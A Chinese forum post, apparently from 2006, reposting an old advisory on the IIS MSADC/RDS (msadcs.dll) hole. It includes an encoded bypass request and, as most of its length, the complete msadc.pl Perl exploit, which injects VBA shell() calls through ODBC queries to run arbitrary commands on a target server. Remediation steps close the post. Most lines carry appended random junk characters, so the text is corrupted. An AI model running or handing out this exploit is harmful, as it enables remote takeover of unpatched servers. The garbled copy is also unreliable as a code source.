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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GS$ZvO  
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涉及程序: 6U;Jg_zS  
Microsoft NT server *p""YEN  
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描述: dE 3i=  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "bHtf_  
%GVEY  
详细: S^3g]5YX  
如果你没有时间读详细内容的话,就删除: f28gE7Y\a  
c:\Program Files\Common Files\System\Msadc\msadcs.dll /Ki0+(4  
有关的安全问题就没有了。 DQ}_9?3  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 a) I=U [  
7yMieUF  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 :6 Hxxh  
关于利用ODBC远程漏洞的描述,请参看: |#DC.Ga!  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ",MK'\E  
yRgDhA  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 sh',"S#=@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2 ||KP|5@  
!~Hafn-1  
这里不再论述。 H]% mP|  
k7z(Gbzu   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: }Q{ =:X9  
fl pXVtsQ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [oQ`HX1g  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q;1VF;<"vH  
]>VJ--fH  
WU+Jo@]y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _|^&eT-u  
FT|/ WZR  
#!perl OH-~  
# 1+16i=BF)  
# MSADC/RDS 'usage' (aka exploit) script h 7(H%(^_  
# f^[{k {t  
# by rain.forest.puppy Y\z^\k  
# \,@Yl.,+  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Rk437vQD,  
# beta test and find errors! 'gk81@|  
4'}_qAT  
use Socket; use Getopt::Std; brYYuN|Vc  
getopts("e:vd:h:XR", \%args); r2E>sHw  
i#M a -0#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; {E3<GeHw4  
S,wj[;cv4  
if (!defined $args{h} && !defined $args{R}) { Dho[{xJ46  
print qq~ 7{kpx$:_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =}%#$  
-h <host> = host you want to scan (ip or domain) LAK-!!0X  
-d <seconds> = delay between calls, default 1 second 0?5%  
-X = dump Index Server path table, if available n&3iv ^  
-v = verbose !F7EAQn{(  
-e = external dictionary file for step 5 RIVL 0Ig  
 f>wW}-  
Or a -R will resume a command session S}v{^vR  
>F\rBc&  
~; exit;} 7n\j"0z  
) v[Knp'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; &, Zz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} V'.eesN  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} nuQLq^e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); R.2KYhp ,  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} y_7XYT!w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  Z@.ol Y  
~Q$c!=   
if (!defined $args{R}){ $ret = &has_msadc; \HP,LH[P:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} c&Su d, &  
*09\\ G  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" C5sN[  
. "cmd /c "; "-j@GCme  
$in=<STDIN>; chomp $in; &6|^~(P?  
$command="cmd /c " . $in ; dl7p1Cr  
a9@l8{)RX  
if (defined $args{R}) {&load; exit;} Dho^^<`c+  
c@o/Cv  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 0JZq:hUd  
&try_btcustmr; qLW-3W;WUH  
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print "\nStep 2: Trying to make our own DSN..."; ^qzT5W\@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; l~6SR  
 _7j/[  
print "\nStep 3: Trying known DSNs..."; #;*ai\6>vD  
&known_dsn; B=Jd%Av  
$hE'b9qx  
print "\nStep 4: Trying known .mdbs..."; 0&rH 9  
&known_mdb; CQuvbAo  
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if (defined $args{e}){ tv=FFfQ  
print "\nStep 5: Trying dictionary of DSN names..."; <T_Nlar^^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } vVN[bD<  
$ E~Lu$|  
print "Sorry Charley...maybe next time?\n"; `SS~=~WY  
exit; g`8 mh&u%  
@Kb|  
############################################################################## j&G~;(DY  
fi4/@tV?$L  
sub sendraw { # ripped and modded from whisker VU'l~%ql  
sleep($delay); # it's a DoS on the server! At least on mine... mlw BATi  
my ($pstr)=@_; ']6#7NU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \ -iUuHP  
die("Socket problems\n"); g$T_yT''  
if(connect(S,pack "SnA4x8",2,80,$target)){ rnBeL _8C  
select(S); $|=1; /G{3p&9  
print $pstr; my @in=<S>; Di1G  
select(STDOUT); close(S); z` ?xS  
return @in; nT .2jk+  
} else { die("Can't connect...\n"); }} vAhO!5]>\  
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############################################################################## x w83K  
K$vRk5U  
sub make_header { # make the HTTP request HY|SLk/E  
my $msadc=<<EOT 3@ukkO)   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 :3*oAh8|  
User-Agent: ACTIVEDATA ]~M {@h!<  
Host: $ip GQ)cUrXQz  
Content-Length: $clen ;3}b&Z[N]  
Connection: Keep-Alive >)Z2bCe  
td$6:)  
ADCClientVersion:01.06 (V?`W7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #YVDOR{z  
*ik)>c_  
--!ADM!ROX!YOUR!WORLD! >Ez}r(QQ^  
Content-Type: application/x-varg 0 S8{VZpy  
Content-Length: $reqlen kRa$jD^?  
.7Bav5 ;  
EOT p 8Hv7*  
; $msadc=~s/\n/\r\n/g; _r)nbQm&  
return $msadc;} Yy~Dg  
8-6{MJ?F  
############################################################################## TEyPlSGG  
Ec/+9H6g  
sub make_req { # make the RDS request JkEQ@x  
my ($switch, $p1, $p2)=@_; [~JN n  
my $req=""; my $t1, $t2, $query, $dsn; >'g60R[  
2YEn)A@8  
if ($switch==1){ # this is the btcustmr.mdb query jo:p*Q "F  
$query="Select * from Customers where City=" . make_shell(); md_s2d  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;G&O"S><]c  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C>-"*Lt  
\srOU|  
elsif ($switch==2){ # this is general make table query uty]-k   
$query="create table AZZ (B int, C varchar(10))"; aq**w?l  
$dsn="$p1";} aa3YtNpP  
]qQB+]WN  
elsif ($switch==3){ # this is general exploit table query A[Xw|9  
$query="select * from AZZ where C=" . make_shell(); 8[XNFFUZs  
$dsn="$p1";} p{u}t!`!d  
|0Kt@ AJY  
elsif ($switch==4){ # attempt to hork file info from index server 9$t@Gmn  
$query="select path from scope()"; ,peFNpi  
$dsn="Provider=MSIDXS;";} <m\TZQBD  
!1]xKNp ]  
elsif ($switch==5){ # bad query SxyFFt  
$query="select"; 3 g!h4?^  
$dsn="$p1";} P|4a}SWU  
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$t1= make_unicode($query); +%^xz 1m  
$t2= make_unicode($dsn); Xp@OIn  
$req = "\x02\x00\x03\x00"; ?/g(Y  
$req.= "\x08\x00" . pack ("S1", length($t1)); FL}8h/  
$req.= "\x00\x00" . $t1 ; D=+sD"<|  
$req.= "\x08\x00" . pack ("S1", length($t2)); d DTt_B  
$req.= "\x00\x00" . $t2 ; D-/A>  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; e;v2`2z2  
return $req;} z5zm,Jw  
8;@eY`0(  
############################################################################## GH!#"Sl8Z  
Z7/lFS'~N  
sub make_shell { # this makes the shell() statement epePx0N%x$  
return "'|shell(\"$command\")|'";} a$-ax[:\sm  
SJmri]4K  
############################################################################## ^|2qD: ;  
w\a#Bfcv  
sub make_unicode { # quick little function to convert to unicode C$ 5x*`y  
my ($in)=@_; my $out; < XU]%}o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } RdjUw#\33b  
return $out;} F ry5v?22  
yCVBG  
############################################################################## hvwr!(|W  
mv_-|N~  
sub rdo_success { # checks for RDO return success (this is kludge) Yp$lc^)c>  
my (@in) = @_; my $base=content_start(@in); _`_$U MK;  
if($in[$base]=~/multipart\/mixed/){ iW)Ou?aS  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p_( NLJ%  
return 0;} qIl@,8T  
7>TG ]&  
############################################################################## ~EymD *  
x :s-\>RcA  
sub make_dsn { # this makes a DSN for us 5;+Bl@zGu  
my @drives=("c","d","e","f"); C.|MA(7  
print "\nMaking DSN: "; E6uIp^E  
foreach $drive (@drives) { /T0|<r!c  
print "$drive: "; k 'o?/  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )DW;Gc  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I[/u5V_b'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); '?nhpT^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8GX@76o  
return 0 if $2 eq "404"; # not found/doesn't exist $t^`Pt*:u  
if($2 eq "200") { 3i<*,@CY  
foreach $line (@results) { &7cy9Z~m  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?V+=uTCq  
} return 0;} EJZ2V>\_-0  
%NuS!v>  
############################################################################## %q@@0qenv  
dCBJV  
sub verify_exists { o Vs&r?\Z  
my ($page)=@_; FRr<K^M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ZCa?uzeo]  
return $results[0];} K-/fq=z  
:%{8lanO  
##############################################################################   ~*RNJ  
^K8Ey#T  
sub try_btcustmr { :jA~zHO  
my @drives=("c","d","e","f"); eD(#zfP/+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -Y YQnN  
FXIQS'  
foreach $dir (@dirs) { {?82>q5F  
print "$dir -> "; # fun status so you can see progress nI-\HAX  
foreach $drive (@drives) { FQ_4a}UOjX  
print "$drive: "; # ditto 75a3H`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >-Jutr<I"~  
$reqlenlen=length( "$reqlen" ); qT(j%F  
$clen= 206 + $reqlenlen + $reqlen; mwBOhEefNJ  
0-7xcF@s  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8[eH8m#~$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +<I>]J2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} kZeb^Q+,  
&<4Jyhm:o  
############################################################################## k#U?Xs>  
A+AqlM+$i  
sub odbc_error { hC,EO&  
my (@in)=@_; my $base; ~ujY+ {  
my $base = content_start(@in); &GX pRo  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this lO[[iMHl<  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y*0mC"n}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \ 7jK6;R<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %kUIIH V}  
return $in[$base+4].$in[$base+5].$in[$base+6];} |?g k%g  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; n"* A.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {eL XVNR7R  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} a=Pl3Uo  
J'W6NitMr  
############################################################################## x^&D8&4^  
R]H/Jv\'  
sub verbose { v="i0lL_  
my ($in)=@_; !c/G'se  
return if !$verbose; XX+%:,G  
print STDOUT "\n$in\n";} r$d,ChzQn?  
Eu2@%2}P  
##############################################################################  Q#i[Y?$L  
@uXF(KDX  
sub save { [7 oU =  
my ($p1, $p2, $p3, $p4)=@_; Tc$Jvy-G4A  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; < j^8L^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; RG4T9eZq  
close OUT;} ?hHVawt  
 *Yj!f68  
############################################################################## VXX7Y? !  
bLuAe EA  
sub load { hj[&.w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :(ni/,~Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CEzwI _  
@p=<IN>; close(IN); :@K 1pAh4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); EbXWCD  
$target= inet_aton($ip) || die("inet_aton problems"); 3 vr T`  
print "Resuming to $ip ..."; \\}tD@V"  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; I54`}Npp  
if($p[1]==1) { O(pa;&"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; hUR>NUK@8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *7cc4 wGQ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4TX~]tEyky  
if (rdo_success(@results)){print "Success!\n";} H.-VfROi2  
else { print "failed\n"; verbose(odbc_error(@results));}} mQwP-s  
elsif ($p[1]==3){ <9Sg,ix't  
if(run_query("$p[3]")){ nymro[@O~  
print "Success!\n";} else { print "failed\n"; }} |&wwH&<[z  
elsif ($p[1]==4){ uPh/u!  
if(run_query($drvst . "$p[3]")){ pd%h5|*n;  
print "Success!\n"; } else { print "failed\n"; }} G)cEUEf d  
exit;} ,.6)y1!  
3IB||oN$T  
############################################################################## s\/$`fuhx  
D0 5JQ*  
sub create_table { 5,vw%F-m  
my ($in)=@_; RZ +SOZs7H  
$reqlen=length( make_req(2,$in,"") ) - 28; nNj<!}HvV  
$reqlenlen=length( "$reqlen" ); L>@:Xo@  
$clen= 206 + $reqlenlen + $reqlen; SobOUly5{  
my @results=sendraw(make_header() . make_req(2,$in,"")); $*-UY  
return 1 if rdo_success(@results); xryXO(  
my $temp= odbc_error(@results); verbose($temp); `bAOhaB,/  
return 1 if $temp=~/Table 'AZZ' already exists/; MqKf'6z  
return 0;} (:h#H[F  
QY7Thnp1  
############################################################################## RvXK?mL4F  
BK *Bw,KQ<  
sub known_dsn { ^E]Xq]vd"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !TwH;#U w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u*"mdL2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", v$JhC'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _+=M)lPm  
,RXfJh  
foreach $dSn (@dsns) { &\p=s.y?j  
print "."; N0mP EF2  
next if (!is_access("DSN=$dSn")); L!qXt(`  
if(create_table("DSN=$dSn")){ Z23*`yR  
print "$dSn successful\n";   mN^/  
if(run_query("DSN=$dSn")){ #)BbW40f6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /$-Tg)o5i  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P-Up v6J3  
%pd-{KR  
############################################################################## t^')ST  
c|hT\1XR,  
sub is_access { =G<i6%(^g  
my ($in)=@_; Xg^9k00C  
$reqlen=length( make_req(5,$in,"") ) - 28; 0D.qc8/V4.  
$reqlenlen=length( "$reqlen" ); 77?D ~N[  
$clen= 206 + $reqlenlen + $reqlen; Ho!dtEs  
my @results=sendraw(make_header() . make_req(5,$in,"")); `=QRC.b  
my $temp= odbc_error(@results); I[g;p8jr  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N*$L#L$*  
return 0;} "tX=^4   
Bsc&#  
############################################################################## bw[s<z|LKA  
L0QF(:F5  
sub run_query { yKb+bm&5:'  
my ($in)=@_; 1;FtQnvH  
$reqlen=length( make_req(3,$in,"") ) - 28; ;&$Nn'~a  
$reqlenlen=length( "$reqlen" ); @b@#  o  
$clen= 206 + $reqlenlen + $reqlen; T=~D>2C  
my @results=sendraw(make_header() . make_req(3,$in,"")); a?K3/0G  
return 1 if rdo_success(@results); FbU98n+z  
my $temp= odbc_error(@results); verbose($temp); W+5<=jXFB  
return 0;} xC}9W6  
c7R<5f  
############################################################################## \#%1t  
?y`we6~\1  
sub known_mdb { XhEJF !  
my @drives=("c","d","e","f","g"); eWw# T^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (;6vT'hE  
my $dir, $drive, $mdb; +`]AutNv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~A-Y%P  
l'm\ *=3  
# this is sparse, because I don't know of many Spm7kw  
my @sysmdbs=( "\\catroot\\icatalog.mdb", d:&=|kKw  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^Yg}>?0  
"\\system32\\certmdb.mdb", tsf)+`vt  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% JK=0juv<E  
2b89th  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }Y`D^z~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", _i@4R<  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G W@g  
"\\cfusion\\cfapps\\security\\realm_.mdb", 5'%nLW7;O  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3-6Lbe9H  
"\\cfusion\\database\\cfexamples.mdb", H$4 4,8,m  
"\\cfusion\\database\\cfsnippets.mdb", d,+a}eTP'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", C(!A% >  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Uw5AHq).  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;'i>^zX`  
"\\cfusion\\database\\smpolicy.mdb", l)K8.(2  
"\\cfusion\\database\cypress.mdb",  f2.|[  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !E.CpfaC  
"\\website\\cgi-win\\dbsample.mdb", ic=tVs  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &|Cd1z#?  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" F`8B PWUY  
); #these are just E=$li  
foreach $drive (@drives) { D@?Tq,= [  
foreach $dir (@dirs){ ^jB17z[  
foreach $mdb (@sysmdbs) { efX iZ  
print "."; p"tCMB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Zp qb0ro  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~pWV[oUD  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &OXm^f)K  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; P+<4w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} }O+`X) 9  
G;he:Bf  
foreach $drive (@drives) {  P0<)E  
foreach $mdb (@mdbs) { a1 v%G  
print "."; @O9wit.  
if(create_table($drv . $drive . $dir . $mdb)){ Y{D?&x%yq  
print "\n" . $drive . $dir . $mdb . " successful\n"; ';zS0Yk  
if(run_query($drv . $drive . $dir . $mdb)){ %@MO5#)NI  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /H~]5JZ3-E  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2e^6Od!Y?  
} GAU7w"sE  
JJ4w]Dd4  
############################################################################## +. tcEbFL  
{&uN q^Ch  
sub hork_idx { 2ut)m\)/)  
print "\nAttempting to dump Index Server tables...\n"; XE($t2x,M  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -58Sb"f  
$reqlen=length( make_req(4,"","") ) - 28; qlm7eS"sy  
$reqlenlen=length( "$reqlen" ); oCSJ<+[(C  
$clen= 206 + $reqlenlen + $reqlen;  N~vK8j@  
my @results=sendraw2(make_header() . make_req(4,"","")); Ti>2N  
if (rdo_success(@results)){ G]RFGwGt  
my $max=@results; my $c; my %d; on.m '-s  
for($c=19; $c<$max; $c++){ R/P9=yvg0  
$results[$c]=~s/\x00//g; jZR2Nx}16  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; D:0?u_[W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \2[sUY<W  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; PwC^ ]e  
$d{"$1$2"}="";} F5 7Kr5X  
foreach $c (keys %d){ print "$c\n"; } '#u=w yp  
} else {print "Index server doesn't seem to be installed.\n"; }} ]zh6[0V7V  
d~;U-  
############################################################################## KvmXRf*z  
/NUu^ N  
sub dsn_dict { Sh(XFUJ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); .6A{   
while(<IN>){ n0b{Jg *  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; j"9Zaq_  
next if (!is_access("DSN=$dSn")); 'tY y_  
if(create_table("DSN=$dSn")){ Bxk2P<d  
print "$dSn successful\n"; 4?Qc&e{5  
if(run_query("DSN=$dSn")){ PJ2m4ulY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;aImz*1%t  
print "Something's borked. Use verbose next time\n";}}} DEt;$>tl 5  
print "\n"; close(IN);} J=B,$4)9  
MrhJk  
############################################################################## B&?xq)%*#  
K-n]m#U4o  
sub sendraw2 { # ripped and modded from whisker Oee>d<  
sleep($delay); # it's a DoS on the server! At least on mine... ;fB!/u  
my ($pstr)=@_; {jo"@&2S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 85ND 3F6q4  
die("Socket problems\n"); {}tv(8]^  
if(connect(S,pack "SnA4x8",2,80,$target)){ [Y8ot-6  
print "Connected. Getting data"; hSXZu?/  
open(OUT,">raw.out"); my @in; Xagz(tm/  
select(S); $|=1; print $pstr; |V mQ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D`NQEt"(  
close(OUT); select(STDOUT); close(S); return @in; DHh30b$c  
} else { die("Can't connect...\n"); }} fX}dQN~z  
\<x{U3q5  
############################################################################## g&d tOjM  
` W{y  
sub content_start { # this will take in the server headers 54%h)dLDy  
my (@in)=@_; my $c; v,Yz\onB^  
for ($c=1;$c<500;$c++) { uEdeA'*^  
if($in[$c] =~/^\x0d\x0a/){ qQe23,x@5  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E\XD~  
else { return $c+1; }}} y5N,~@$r  
return -1;} # it should never get here actually y-vQ4G5F|  
fe7DS)U  
############################################################################## Q9sxI}D )R  
d5 U+]g  
sub funky { ThYHVJ[;  
my (@in)=@_; my $error=odbc_error(@in); ;(;{~1~  
if($error=~/ADO could not find the specified provider/){ z+X DN:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; e18}`<tW-  
exit;} Fes /8*-  
if($error=~/A Handler is required/){  ui1h M  
print "\nServer has custom handler filters (they most likely are patched)\n"; R2dCp|6A  
exit;} |v= */e  
if($error=~/specified Handler has denied Access/){ Uf<IXx&;  
print "\nServer has custom handler filters (they most likely are patched)\n"; Rx.dM_S  
exit;}} P{o/ /M  
K5:>  
############################################################################## IGcYPL\&  
LABLT;c  
sub has_msadc { (-esUOB.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Ap9 %5:]  
my $base=content_start(@results); *)um^O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^Mi&2AvS  
return 0;} nfA#d-  
^fT?(y_= e  
######################## rT28q .  
uz[5h0c  
T`SpIdzB.  
解决方案: E~'QC  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Ah1fcXED  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2N[S*#~*e  
UsBtk  
拿出来充数 哈哈
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